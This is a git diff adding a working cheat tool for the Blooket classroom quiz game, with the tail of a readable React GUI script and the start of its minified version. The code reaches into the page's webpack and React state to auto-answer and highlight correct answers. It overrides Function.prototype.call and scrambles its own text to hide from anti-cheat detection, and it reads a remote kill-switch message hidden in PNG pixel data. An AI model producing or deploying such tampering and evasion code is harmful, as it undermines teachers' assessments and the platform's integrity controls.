Object.entries(players).map(([name, { b, ca }]) => ({ name, blook: b, value: ca || 0 })); + break; + case "factory": + for (const player in added) { + const data = added[player]; + if (data.g) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `activated the ${factoryGlitches[data.g]} glitch!`); + else if (data.s) { + const [amount, synergy] = data.s.split('-'); + Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `has a ${amount} ${synergy} synergy!`); + } else if (data.t) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `now has 10 Blooks!`); + } + standings = Object.entries(players).map(([name, { b, ca }]) => ({ name, blook: b, value: ca || 0 })); + break; + } + Cheats.alerts.standings = standings.sort((a, b) => b.value - a.value) + Cheats.alerts.setLeaderboard(Cheats.alerts.standings); + }); + return true; + } catch { + return false; + } + }, + cheats: [ + { + element: createElement(function Alerts() { + const [alerts, setAlerts] = useState([]); + const [leaderboard, setLeaderboard] = useState([]); + Cheats.alerts.setAlerts = setAlerts; + Cheats.alerts.setLeaderboard = setLeaderboard; + useEffect(() => { + Cheats.alerts.blookData = Object.values(webpack.c).find(x => x.exports.a?.Black).exports.a; + Cheats.alerts.formatNumber = Object.values(webpack("74sb")).find(x => String(x).includes("×") || String(x).includes("toPrecision")); + Cheats.alerts.standings && setLeaderboard(Cheats.alerts.standings); + setAlerts(Cheats.alerts.alerts); + Cheats.alerts.visible = true; + window.Cheats = Cheats; + return () => Cheats.alerts.visible = false; + }, []); + useEffect(() => { + Cheats.alerts.alerts = alerts; + }, [alerts]) + return React.createElement("div", { + className: styles.keys.alertContainer + }, React.createElement("ul", { + className: styles.keys.alertList, + style: { + margin: "10px 10px 0 10px", + padding: "0", + listStyleType: "none", + display: "flex", + flexDirection: "column-reverse", + height: "355px", + overflowY: "scroll", + wordWrap: "break-word" + } + }, alerts.slice().reverse().map((alert, i) => React.createElement("li", { + style: { + margin: "5px" + }, + key: i + }, React.createElement("span", { + style: { + color: alert.color || "var(--textColor)" + } + }, alert.message)))), leaderboard.length > 0 && React.createElement("div", { + style: { + position: "absolute", + inset: "110% 0px" + } + }, React.createElement("div", { + style: { + alignItems: "center", + boxSizing: "border-box", + display: "flex", + flexDirection: "row", + flexWrap: "wrap", + justifyContent: "space-evenly", + padding: "20px 5px 20px", + position: "relative", + width: "100%", + fontFamily: "Nunito, sans-serif", + fontWeight: "400", + color: "var(--textColor)", + background: "var(--contentBackground)", + boxShadow: "inset 0 -6px rgb(0 0 0 / 20%)", + borderRadius: "7px" + } + }, React.createElement("div", { + className: styles.keys.headerText + }, React.createElement("div", { + style: { + alignItems: "center", + boxSizing: "border-box", + display: "flex", + height: "100%", + justifyContent: "center", + padding: "0 15px", + width: "100%", + fontFamily: "Titan One, sans-serif", + fontSize: "26px", + fontWeight: "400", + textShadow: "-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464", + color: "white", + background: "linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)", + borderRadius: "5px" + } + }, "Leaderboard")), React.createElement("div", { + className: styles.keys.alertContainer, + style: { + margin: "15px 15px 5px 15px", + backgroundColor: "rgb(0 0 0 / 50%)", + width: "95%", + height: "370px", + borderRadius: "7px", + display: "flex", + alignItems: "center", + justifyContent: "center" + } + }, React.createElement("nl", { + className: styles.keys.alertList, + style: { + marginTop: "10px", + padding: "0", + listStyleType: "decimal", + width: "100%", + height: "355px", + overflowY: "scroll", + wordWrap: "break-word" + } + }, leaderboard.map(({ blook, name, value }) => React.createElement("li", { + style: { + fontSize: "2rem", + paddingInline: "72px 15px", + paddingBlock: "1.25px", + position: "relative" + }, + key: name + }, React.createElement("img", { + src: Cheats.alerts.blookData[blook]?.url || Cheats.alerts.blookData.Black.url, + alt: blook, + style: { + height: "45px", + position: "absolute", + left: "15px" + } + }), name, React.createElement("span", { + style: { + float: "right" + } + }, Cheats.alerts.formatNumber(parseInt(value)))))))))); + }, null) + } + ] + } + } + const GUIContainer = document.createElement("div"); + function createKeybindListener(onpress, element = window) { + return new Promise(resolve => { + const pressed = {}; + let shift, ctrl, alt, key; + const keydown = e => { + e.preventDefault(); + pressed[e.code] = true; + shift ||= e.shiftKey; + ctrl ||= e.ctrlKey; + alt ||= e.altKey; + if (!["shift", "control", "alt", "meta"].includes(e.key.toLowerCase())) key = e.key.toLowerCase(); + onpress?.({ shift, ctrl, alt, key }); + }; + const keyup = e => { + delete pressed[e.code]; + if (Object.keys(pressed).length > 0) return; + element.removeEventListener("keydown", keydown); + element.removeEventListener("keyup", keyup); + resolve({ shift, ctrl, alt, key }); + }; + element.addEventListener("keydown", keydown); + element.addEventListener("keyup", keyup); + }); + } + function AntiBen({ type = "div", children, ...props }) { + let childs = []; + let char = (space) => React.createElement("span", { + style: { + display: "inline-block", + opacity: "0", + width: "0", + height: "0", + lineHeight: "0", + userSelect: "none", + marginLeft: space ? "5px" : null + } + }, String.fromCharCode(Math.floor(Math.random() * 25) + 97)) + const addChar = (child) => { + if (typeof child == "string") { + let text = []; + for (let i = 0; i < child.length; i += 3) text.push(child.slice(i, i + 3), char()); + childs.push(...text); + } + else childs.push(child, char()); + } + if (Array.isArray(children)) for (let i = 0; i < children.length; i++) addChar(children[i]); + else addChar(children); + return React.createElement(type, props, React.createElement("span", null, childs)); + } + function ScriptInput({ input, onValue, run }) { + const { name, type, options: opts, min, max, value } = input; + let optState; + try { + optState = typeof opts == "function" ? opts() : opts; + } catch (e) { + console.warn(e); + optState = []; + } + const [options, setOptions] = useState(optState) + const [locked, setLocked] = useState(""); + const loading = useRef(true); + useEffect(() => { + if (options instanceof Promise) options.then((o) => { + setOptions(o); + onValue(o[0]?.value || o[0]); + input.selected = o[0]?.name || o[0]; + loading.current = false; + }).catch(() => setOptions([])); + else if (options?.length) { + onValue(options[0]?.value || options[0]); + input.selected = options[0]?.name || options[0]; + } + if (type == "number") onValue(value || (min == null ? 0 : min)); + else if (type == "function") onValue(null); + else if (!(options instanceof Promise) && !options?.length) onValue(""); + }, []); + let el; + if (type == "options" && options?.length) el = React.createElement("select", { + onChange: e => (input.selected = e.target.children[e.target.selectedIndex].innerText, onValue(JSON.parse(e.target.value))) + }, options.map(opt => React.createElement("option", { value: JSON.stringify(opt?.value || opt) }, opt?.name || opt))); + else if (type == "function") el = React.createElement("input", { + className: styles.keys.cheatInput, + placeholder: name, + style: { + textAlign: "center" + }, + readOnly: true, + value: locked || input.data, + onClick: async () => { + if (locked) return; + setLocked("Waiting for input..."); + let value; + const data = await input.function(e => setLocked((value = e) + "...")); + input.data = value; + setLocked(false); + onValue(data); + } + }); + else { + let isNumber = type == "number"; + el = React.createElement("input", { + onChange: e => onValue(isNumber ? parseInt(e.target.value) : e.target.value), + className: styles.keys.cheatInput, + type: isNumber ? "number" : null, + min: isNumber ? min : null, + max: isNumber ? max : null, + defaultValue: isNumber ? value || (min == null ? 0 : min) : null, + placeholder: name, + style: { + textAlign: "center" + }, + onKeyUp: e => e.key == "Enter" && run() + }); + } + return el; + } + function ScriptButton({ script }) { + const args = useRef([]); + const [enabled, setEnabled] = useState(script.enabled); + const run = useCallback(() => { + script.run.apply(script, args.current); + setEnabled(script.enabled); + Cheats.alerts.addLog(React.createElement(React.Fragment, null, script.type == "toggle" ? script.enabled ? "Enabled" : "Disabled" : "Ran", " ", React.createElement("strong", null, script.name), args.current.length > 0 && ` with inputs: (${args.current.map((x, i) => JSON.stringify(script.inputs[i].selected || x)).join(", ")})`), script.type == "toggle" && (script.enabled ? "var(--enabledButton)" : "var(--disabledButton)")); + }, []); + return React.createElement("div", { + style: { + background: script.type == "toggle" ? enabled ? "var(--enabledButton)" : "var(--disabledButton)" : "var(--defaultButton)" + }, + key: script.name, + "data-tip": script.description, + className: styles.keys.scriptButton, + onClick: e => (e.target.matches(`.${styles.keys.scriptButton}`) || e.target.matches(`.${styles.keys.cheatName}`) || e.target.matches(`.${styles.keys.cheatName} *`)) && run() + }, React.createElement(AntiBen, { + className: styles.keys.cheatName + }, script.name), script.inputs?.length && script.inputs.map((input, i) => input.element || React.createElement(ScriptInput, { + onValue: val => args.current[i] = val, + key: i, + input: input, + run: run + }))); + } + function useSettings(settingsKey) { + const [data, updateData] = useState(JSON.parse(localStorage.getItem(settingsKey) || "{}")); + const setItem = useCallback((k, v) => { + k.split('.').reduce((obj, k, i, a) => (++i == a.length && (obj[k] = v), obj[k]), data); + localStorage.setItem(settingsKey, JSON.stringify(data)); + updateData({ ...data }); + return data; + }, [data]); + const deleteItem = useCallback((k, v) => { + k.split('.').reduce((obj, k, i, a) => (++i == a.length && (delete obj[k]), obj[k]), data); + localStorage.setItem(settingsKey, JSON.stringify(data)); + updateData({ ...data }); + return data; + }, [data]); + const setData = useCallback((v) => { + updateData(v); + localStorage.setItem(settingsKey, JSON.stringify(v)); + }, []); + useEffect(() => { + try { + updateData(JSON.parse(localStorage.getItem(settingsKey) || "{}")); + for (const setting of ["backgroundColor", "cheatList", "contentBackground", "defaultButton", "disabledButton", "enabledButton", "infoColor", "inputColor", "textColor"]) if (settings.data[setting]) { + setItem(`theme.${setting}`, settings.data[setting]); + deleteItem(setting); + } + } catch { + setData({}); + } + }, []) + return { data, setItem, deleteItem, setData }; + } + function Draggable({ parent, children, setPos, ...props }) { + const mouseDown = useRef(false); + const pos = useRef({ x: 0, y: 0 }); + useEffect(() => { + const pointerup = () => mouseDown.current = false; + const pointermove = (e) => { + if (!mouseDown.current) return; + let dx = pos.current.x - e.clientX; + let dy = pos.current.y - e.clientY; + pos.current = { x: e.clientX, y: e.clientY }; + var ratio = 1 || parseFloat((0.75 / window.devicePixelRatio).toFixed(2)); + setPos({ x: parent.offsetLeft - dx / ratio, y: parent.offsetTop - dy / ratio }); + } + document.addEventListener("pointerup", pointerup); + document.addEventListener("pointermove", pointermove); + return () => { + document.removeEventListener("pointerup", pointerup); + document.removeEventListener("pointermove", pointermove); + } + }, [parent]); + return React.createElement("div", { + ...props, onPointerDown: e => { + mouseDown.current = true; + pos.current = { + x: e.clientX, + y: e.clientY + }; + } + }, children); + } + function GUI() { + const { current: pos } = useRef({ + x: Math.max(10, window.innerWidth - 1000) / 2, + y: Math.max(10, window.innerHeight - 600) / 2, + }); + const setPos = useCallback(({ x, y }) => { + pos.x = x; + pos.y = y; + guiRef.current.style.left = `${x}px`; + guiRef.current.style.top = `${y}px`; + }, []); + const [minified, setMinified] = useState(null); + const [hidden, setHidden] = useState(false); + const [currentMode, setCurrentMode] = useState("global"); + const guiRef = useRef(); + const alertInterval = useRef(); + settings = useSettings("JODGUISETTINGS"); + const variables = React.createElement("style", null, `:root {--backgroundColor: ${settings.data?.theme?.backgroundColor || "rgb(11, 194, 207)"};--infoColor: ${settings.data?.theme?.infoColor || "#9a49aa"};--cheatList: ${settings.data?.theme?.cheatList || "#9a49aa"};--defaultButton: ${settings.data?.theme?.defaultButton || "#9a49aa"};--disabledButton: ${settings.data?.theme?.disabledButton || "#A02626"};--enabledButton: ${settings.data?.theme?.enabledButton || "#47A547"};--textColor: ${settings.data?.theme?.textColor || "white"};--inputColor: ${settings.data?.theme?.inputColor || "#7a039d"};--contentBackground: ${settings.data?.theme?.contentBackground || "rgb(64, 17, 95)"};}`); + const { current: gamemodes } = useRef(["alerts", "global", "gold", "cafe", "crypto", "dinos", "defense", "defense2", "factory", "fishing", "flappy", "doom", "kingdom", "racing", "royale", "rush", "brawl", "workshop", "settings"]); + + const close = useCallback(() => { + ReactDOM.unmountComponentAtNode(GUIContainer); + GUIContainer.remove(); + }, []); + + useEffect(() => { Tooltip.rebuild() }); + useEffect(() => { + window.dispatchEvent(new Event("resize")); + let keydown = e => { + let hideKey = settings.data.hide || { ctrl: true, key: "e" }; + let closeKey = settings.data.close || { ctrl: true, key: "x" }; + if ((hideKey.ctrl && e.ctrlKey || !hideKey.ctrl && !e.ctrlKey) && (hideKey.shift && e.shiftKey || !hideKey.shift && !e.shiftKey) && (hideKey.alt && e.altKey || !hideKey.alt && !e.altKey) && e.key.toLowerCase() == hideKey.key) { + e.preventDefault(); + setHidden(h => !h); + } else if ((closeKey.ctrl && e.ctrlKey || !closeKey.ctrl && !e.ctrlKey) && (closeKey.shift && e.shiftKey || !closeKey.shift && !e.shiftKey) && (closeKey.alt && e.altKey || !closeKey.alt && !e.altKey) && e.key.toLowerCase() == closeKey.key) { + e.preventDefault(); + close(); + } + }; + window.addEventListener("keydown", keydown); + alertInterval.current = setInterval(async () => { + if (await Cheats.alerts.connect()) clearInterval(alertInterval.current); + }, 5000); + return () => { + window.removeEventListener("keydown", keydown); + clearInterval(alertInterval.current); + for (const gamemode of gamemodes) for (const cheat of Cheats[gamemode].cheats) if (cheat.enabled) cheat.run(); + } + }, []); + useEffect(() => { + if (minified == null) return () => { }; + let gui = guiRef.current.querySelector("div"); + gui.style.height = !minified ? "100%" : "55px"; + gui.style.width = !minified ? "100%" : "165px"; + guiRef.current.style.top = `${parseInt(guiRef.current.style.top) + (guiRef.current.offsetHeight - 55) * (!minified ? -1 : 1)}px`; + guiRef.current.style.left = `${parseInt(guiRef.current.style.left) + (guiRef.current.offsetWidth - 165) * (!minified ? -1 : 1)}px`; + guiRef.current.style.pointerEvents = !minified ? "unset" : "none"; + }, [minified]) + + return React.createElement("div", { + ref: guiRef, + id: styles.keys.guiWrapper, + style: { + top: `${pos.y}px`, + left: `${pos.x}px`, + transform: `scale(${settings.data.scale || 1})`, + display: hidden ? "none" : null + } + }, React.createElement("style", null, styles.css), variables, React.createElement("div", { + id: styles.keys.gui + }, React.createElement("div", { + id: styles.keys.controlButtons + }, React.createElement(Draggable, { + parent: guiRef.current, + setPos: setPos, + style: { + cursor: "move", + backgroundColor: "rgb(0, 160, 255)" + } + }, React.createElement("i", { + className: "fas fa-arrows-alt" + })), React.createElement("div", { + style: { + fontWeight: "bolder", + backgroundColor: "grey" + }, + onClick: () => setMinified(m => !m) + }, React.createElement("i", { + className: "fas fa-minus" + })), React.createElement("div", { + style: { + fontWeight: "bolder", + backgroundColor: "red" + }, + onClick: close + }, React.createElement("i", { + className: "fas fa-times" + }))), !minified && React.createElement(React.Fragment, null, React.createElement("div", { + id: styles.keys.background + }, React.createElement("div", { + id: styles.keys.backgroundImage + })), React.createElement(Draggable, { + parent: guiRef.current, + setPos: setPos, + id: styles.keys.controls + }, (({ ctrl: ctrlHide, shift: shiftHide, alt: altHide, key: keyHide } = { ctrl: true, key: "e" }, { ctrl: ctrlClose, shift: shiftClose, alt: altClose, key: keyClose } = { ctrl: true, key: "x" }) => { + return React.createElement(React.Fragment, null, `${[ctrlHide && "Ctrl", shiftHide && "Shift", altHide && "Alt", keyHide && keyHide.toUpperCase()].filter(Boolean).join(' + ')} to hide | ${[ctrlClose && "Ctrl", shiftClose && "Shift", altClose && "Alt", keyClose && keyClose.toUpperCase()].filter(Boolean).join(' + ')} for quick disable`, React.createElement("br", null), React.createElement(AntiBen, null, "Click and drag here")); + })(settings.data.hide || { + ctrl: true, + key: "e" + }, settings.data.close || { + ctrl: true, + key: "x" + })), React.createElement("div", { + id: styles.keys.credits + }, React.createElement(AntiBen, null, "GitHub - 05Konz")), React.createElement("div", { + id: styles.keys.cheatList + }, React.createElement(AntiBen, { + type: "span", + style: { + textShadow: "1px 1px rgb(0 0 0 / 40%)" + } + }, "Cheats"), React.createElement("a", { + href: "https://github.com/05Konz/Blooket-Cheats", + target: "_blank", + id: styles.keys.bigButton + }, React.createElement("svg", { + style: { + filter: "drop-shadow(2px 2px 0 rgb(0 0 0 / 20%))" + }, + xmlns: "http://www.w3.org/2000/svg", + width: "35", + height: "35", + fill: "currentColor", + viewBox: "0 -1 21 16" + }, React.createElement("path", { + d: "M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z" + })), React.createElement(AntiBen, { + type: React.Fragment + }, "GitHub")), gamemodes.map(gamemode => { + return React.createElement("div", { + key: gamemode, + onClick: () => setCurrentMode(gamemode), + className: styles.keys.cheatButton + }, Cheats[gamemode].img ? React.createElement("img", { + src: Cheats[gamemode].img, + style: { + maxWidth: "30px", + maxHeight: "30px", + aspectRatio: "1 / 1", + marginRight: "10px", + ...(Cheats[gamemode].style || {}) + }, + alt: gamemode + }) : React.createElement("div", { + style: { + marginInline: "5px", + width: "5px" + } + }), React.createElement(Textfit, { + mode: "single", + forceSingleWidthMode: false, + min: 1, + max: 20 + }, Cheats[gamemode].name)); + })), React.createElement("div", { + id: styles.keys.contentWrapper + }, React.createElement("div", { + id: styles.keys.content + }, React.createElement(Tooltip, { + place: "bottom", + effect: "solid" + }), React.createElement("div", { + id: styles.keys.cheats + }, Cheats[currentMode].element || (Cheats[currentMode].element = React.createElement(React.Fragment, null, React.createElement("div", { + className: styles.keys.headerText + }, React.createElement(AntiBen, null, Cheats[currentMode].name, " Cheats")), Cheats[currentMode].cheats.map(cheat => cheat.element || React.createElement(ScriptButton, { + key: cheat.name, + script: cheat + })))))))))); + } + ReactDOM.render(createElement(GUI, null), GUIContainer); + document.body.prepend(GUIContainer); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/reactGui.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272457 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/reactGui.min.js b/cheats/reactGui.min.js new file mode 100644 index 0000000..c35746b --- /dev/null +++ b/cheats/reactGui.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\treactGui.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{if(String(Function.prototype.call).includes("native")){let e=Function.prototype.call,t=document.createElement("iframe"),a=(document.body.append(t),t.style.display="none",{querySelectorAll:function(){return["#JODGUI","#JODMOBILE","#currPageEl","#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx","#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2",".cheatList",".cheatName","bG1mYW8=","#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0])?[]:t.contentDocument.querySelectorAll.apply(document,arguments)},querySelector:t.contentDocument.querySelector.bind(document),includes:function(){return!["Cheats","Global","Global Cheats","Discord - oneminesraft2","Auto Answer (Toggle)","Auto Sell Dupes On Open","Spam Buy Blooks","Food Game","Change Blook Ingame","Get Daily Rewards","Remove Name Limit","Simulate Unlock","Cheat ESP","Gold Quest Cheats","Cafe Cheats","Crypto Hack Cheats","Deceptive Dinos Cheats","Tower Defense Cheats","Tower Defense2 Cheats","Factory Cheats","Fishing Frenzy Cheats","Flappy Blook Cheats","Tower of Doom Cheats","Crazy Kingdom Cheats","Racing Cheats","Battle Royale Cheats","Blook Rush Cheats","Monster Brawl Cheats","Santa's Workshop Cheats"].includes(arguments[0])&&t.contentWindow.String.prototype.call(this,arguments)},fetch:t.contentWindow.fetch.bind(window),btoa:t.contentWindow.btoa.bind(window),getItem:t.contentWindow.localStorage.getItem.bind(window.localStorage)}),o=Object.keys(a);Function.prototype.call=function(){return o.includes(this.name)?e.apply(a[this.name],arguments):e.apply(this,arguments)}}let s=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];var e=Object.values(s.c);const f=e.find(e=>e.exports.createElement).exports,{createElement:t,useState:w,useCallback:k,useRef:x,useEffect:C}=f,S=e.find(e=>e.exports.findDOMNode).exports,O=e.find(e=>e.exports.Textfit).exports["Textfit"],j=e.find(e=>"ReactTooltip"==e.exports.a?.displayName).exports.a;let _={data:null},B={css:'#bigButton:hover,.scriptButton:hover{transition:.2s;filter:brightness(1.1)}#background,#gui{height:100%;width:100%;overflow:hidden}#background,#backgroundImage{position:absolute;visibility:visible}#controls,#credits{padding-bottom:8px;background:var(--infoColor);box-shadow:rgba(0,0,0,.2) 0 -8px inset,rgba(0,0,0,.15) 0 0 4px;top:0}#cheatList,select{text-align:center}#cheatList,#controls,#guiWrapper div,.cheatButton{user-select:none}#cheatList,.cheatButton,.scriptButton{box-sizing:border-box}#contentWrapper,.alertList{-ms-overflow-style:none;scrollbar-width:none}#cheats,#gui,.cheatButton,.scriptButton{position:relative}#guiWrapper{position:fixed;height:80%;width:80%;max-height:600px;max-width:1000px;z-index:999;display:block}.alertList::-webkit-scrollbar{display:none}#contentWrapper::-webkit-scrollbar{display:none}.cheatButton{display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:15px;cursor:pointer;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}#bigButton,.scriptButton{transition:.5s;display:flex;cursor:pointer}.cheatInput,.scriptButton,select{font-family:Nunito,sans-serif;font-weight:400}.cheatButton>div{height:40px;width:135px;display:flex;justify-content:flex-start;align-items:center}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}#controls,#credits,.cheatInput,.scriptButton,select{color:var(--textColor)}.cheatInput,select{min-width:200px;padding:5px 0;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px}#bigButton{font-size:26px;padding:5px 20px 10px;margin:20px auto 10px;color:#fff;justify-content:center;align-items:center;text-decoration:none;border-radius:5px;text-shadow:2px 2px rgb(0 0 0 / 20%);box-shadow:inset 0 -5px #0005;background-color:#0bc2cf}#bigButton:hover{padding-bottom:13px;margin-top:17px;box-shadow:inset 0 -8px #0005}#bigButton:active{padding-bottom:5px;margin-top:25px;box-shadow:inset 0 0 #0005;transition:50ms}#cheatList::-webkit-scrollbar{width:10px}#cheatList::-webkit-scrollbar-track{background:var(--cheatList)}#cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow:inset -10px 0 rgb(0 0 0 / 20%)}#cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList);box-shadow:inset -10px 0 rgb(0 0 0 / 30%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px}.scriptButton{align-items:center;flex-direction:column;justify-content:center;margin:10px;padding:5px 5px 11px;width:250px;border-radius:7px;box-shadow:inset 0 -6px rgb(0 0 0 / 20%)}.scriptButton:hover{margin-top:7px;padding-bottom:14px;box-shadow:inset 0 -9px rgb(0 0 0 / 20%)}.scriptButton:active{transition:50ms;margin-top:16px;padding-bottom:5px;box-shadow:inset 0 0 rgb(0 0 0 / 20%)}#gui{outline:rgb(58,58,58) solid 3px;border-radius:15px}#background{display:block;top:0;left:0;background:var(--backgroundColor)}#backgroundImage{background-image:url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png);display:block;height:200%;width:200%;top:50%;left:50%;background-position:-100px -100px;background-size:550px;transform:translate(-50%,-50%) rotate(15deg);appearance:none;opacity:.175}#controls{display:flex;flex-direction:column;align-items:flex-start;justify-content:center;padding-inline:15px;position:absolute;left:220px;visibility:visible;z-index:5;height:52px;width:max-content;border-bottom-right-radius:10px;font-family:Nunito,sans-serif;font-weight:700}#controlButtons,#credits{align-items:center;right:0;visibility:visible;font-family:Nunito,sans-serif;font-weight:700;user-select:text;z-index:5;display:flex;position:absolute}#credits{justify-content:center;height:47px;width:210px;border-bottom-left-radius:10px}#controlButtons{justify-content:center;bottom:0;height:55px;width:165px;border-left:3px solid #000;border-top:3px solid #000;border-top-left-radius:10px;color:#fff;overflow:hidden;pointer-events:all}#controlButtons>*{height:55px;width:55px;font-family:Nunito;color:#fff;border:none;font-size:2rem;display:flex;align-items:center;justify-content:center;cursor:pointer}#cheatList,#cheats,.cheatName{color:var(--textColor)}#cheats,#contentWrapper,.alertContainer,.headerText{border-radius:7px}#cheatList{overflow-y:scroll;overflow-x:hidden;background:var(--cheatList);box-shadow:rgba(0,0,0,.2) -10px 0 inset;z-index:5;width:220px;position:absolute;top:0;left:0;height:100%;font-family:"Titan One";font-size:40px;padding-block:20px;display:flex;flex-direction:column}#contentWrapper{position:absolute;left:220px;top:70px;overflow-y:scroll;width:calc(100% - 220px);height:calc(100% - 70px)}#cheats,.headerText>div{align-items:center;box-sizing:border-box;display:flex;width:100%;font-weight:400}#content{position:absolute;inset:27px 50px 50px}#cheats{flex-flow:row wrap;justify-content:space-evenly;padding:20px 5px;font-family:Nunito,sans-serif;background:var(--contentBackground);box-shadow:rgba(0,0,0,.2) 0 -6px inset}.headerText{box-sizing:border-box;display:block;height:45px;left:-10px;padding:4px 4px 8px;position:absolute;top:-28px;background-color:#ef7426;box-shadow:rgba(0,0,0,.2) 0 4px,rgba(0,0,0,.2) 0 -4px inset}.headerText>div{height:100%;justify-content:center;padding:0 15px;font-family:"Titan One",sans-serif;font-size:26px;text-shadow:#646464 -1px -1px 0,#646464 1px -1px 0,#646464 -1px 1px 0,#646464 2px 2px 0;color:#fff;background:linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a);border-radius:5px}.alertContainer{margin:15px 15px 5px;background-color:rgb(0 0 0 / 50%);width:95%;height:370px;display:block;align-items:center;justify-content:center}',keys:{}};for(let o of[...B.css.matchAll(/(#|\.)([a-zA-Z]+?)(,|\{|:)/g)].reduce((e,[,,t])=>e.includes(t)?e:e.concat(t),[]))B.keys[o]=Array(10).fill().reduce(e=>e+String.fromCharCode(Math.floor(25*Math.random())+97),""),B.css=B.css.replace(new RegExp(`(#|\\.)(${o})(,|\\{|:|>|\\[)`,"g"),(e,t,a)=>a==o?e.replace(o,B.keys[o]):e);const E={global:{name:"Global",img:"https://media.blooket.com/image/upload/v1661496291/Media/uiTest/Games_Played_2.svg",cheats:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var{state:{question:e,stage:t,feedback:a},props:{client:{question:o}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];const s=e||o;try{"typing"!=s.qType?("feedback"===t||a?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][s.answers.map((e,t)=>s.correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(s.answers[0])}catch{}},50))}},{name:"Highlight Answers (Toggle)",description:"Toggles highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const{state:a,props:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(a.question||o.client.question).correctAnswers.includes((a.question||o.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})},50))}},{name:"Auto Answer",description:"Click the correct answer for you",run:function(){const{state:{question:a,stage:e,feedback:t},props:{client:{question:o}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{"typing"!=a.qType?("feedback"===e||t?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(a||o).answers.map((e,t)=>(a||o).correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(a.answers[0])}catch{}}},{name:"Spam Buy Blooks",description:"Opens a 